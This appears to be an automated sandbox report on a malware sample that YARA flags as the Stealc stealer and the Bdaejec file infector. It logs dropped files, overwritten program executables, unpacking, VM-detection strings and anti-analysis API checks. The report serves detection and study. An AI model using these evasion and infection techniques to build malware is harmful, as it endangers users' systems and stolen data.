Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\7Y18r(193).exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:

Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.2.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\7Y18r(193).exe	Unpacked PE file: 0.2.7Y18r(193).exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;Iu9:EW; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Unpacked PE file: 2.2.WuiXLS.exe.700000.1.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\7Y18r(193).exe

Unpacked PE file: 0.2.7Y18r(193).exe.400000.0.unpack

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: 0_2_00412180 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00412180

Source: initial sample

Static PE information: section where entry point is pointing to: Iu9

Source: 7Y18r(193).exe	Static PE information: section name: Iu9
Source: WuiXLS.exe.0.dr	Static PE information: section name: .aspack
Source: WuiXLS.exe.0.dr	Static PE information: section name: .adata
Source: Uninstall.exe.2.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.2.dr	Static PE information: section name: PELIB
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.2.dr	Static PE information: section name: u

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Code function: 2_2_00701638 push dword ptr [00703084h]; ret	2_2_0070170E
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Code function: 2_2_00706014 push 007014E1h; ret	2_2_00706425
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Code function: 2_2_00702D9B push ecx; ret	2_2_00702DAB
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Code function: 2_2_0070600A push ebp; ret	2_2_0070600D

Source: 7Y18r(193).exe	Static PE information: section name: Iu9 entropy: 6.934398937344117
Source: WuiXLS.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.2.dr	Static PE information: section name: EpNuZ entropy: 6.933404246102348
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR entropy: 6.934452551344648
Source: SciTE.exe.2.dr	Static PE information: section name: u entropy: 6.934015882933062

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\Desktop\7Y18r(193).exe	File created: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 49705 -> 799

Source: C:\Users\user\Desktop\7Y18r(193).exe

0_2_00412180

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\7Y18r(193).exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-17852

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\7Y18r(193).exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_0-17833

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-1312

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-1053

Source: C:\Users\user\Desktop\7Y18r(193).exe

API coverage: 5.5 %

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_00701718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00701754h

2_2_00701718

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_007029E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,

2_2_007029E2

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_00702B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

2_2_00702B8C

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: 0_2_00401100 GetSystemInfo,ExitProcess,

0_2_00401100

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: WuiXLS.exe, 00000002.00000002.1505404095.00000000005BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnj
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: WuiXLS.exe, 00000002.00000002.1505404095.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, WuiXLS.exe, 00000002.00000002.1505404095.000000000061F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 7Y18r(193).exe, 00000000.00000002.1511509261.0000000000885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17837
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17840
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17691
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17678
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17858
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17851
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-17855
Source: C:\Users\user\Desktop\7Y18r(193).exe	API call chain: ExitProcess graph end node	graph_0-18853
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	API call chain: ExitProcess graph end node	graph_2-1028

Source: C:\Users\user\Desktop\7Y18r(193).exe

0_2_00412180

Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_00401240 mov eax, dword ptr fs:[00000030h]	0_2_00401240
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_00412070 mov eax, dword ptr fs:[00000030h]	0_2_00412070
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_007BA044 mov eax, dword ptr fs:[00000030h]	0_2_007BA044
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_008914A7 mov eax, dword ptr fs:[00000030h]	0_2_008914A7
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_008A22D7 mov eax, dword ptr fs:[00000030h]	0_2_008A22D7
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_00890D90 mov eax, dword ptr fs:[00000030h]	0_2_00890D90
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_0089092B mov eax, dword ptr fs:[00000030h]	0_2_0089092B
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_008E5654 push dword ptr fs:[00000030h]	0_2_008E5654

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: 0_2_004107D0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_004107D0

Source: SciTE.exe.2.dr

Binary or memory string: Ctrl+RightLeftDownUpDecimalMinusMultiplyDivideTabSpaceDeleteEscapeEndInsertEnterHomeForwardBackwardPLAT_WIN1PageDownPageUpMenuWinSciTEACCELSSciTEWindowContentSciTEWindowPLAT_WINNT1toolbar.largecreate.hidden.consolegbkbig5euc-krshift_jisutf-8asciilatin2latin1translation.encodingwindows-1251ScaleFactoriso-8859-5cyrillic1250iso8859-11SciTE_HOMEAppsUseLightThemeSciTE_USERHOMESciTE_HOMEPropertiesScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeEmbeddedRich Text FormatButtonShell_TrayWndUSERPROFILESciTE_HOMEHtmlHelpWHHCTRL.OCX

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: 0_2_00410360 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00410360

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: 0_2_00410790 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00410790

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_0070139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

2_2_0070139F

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: WuiXLS.exe PID: 7496, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.890e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7Y18r(193).exe.890e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.7Y18r(193).exe.2430000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1457369500.0000000002430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
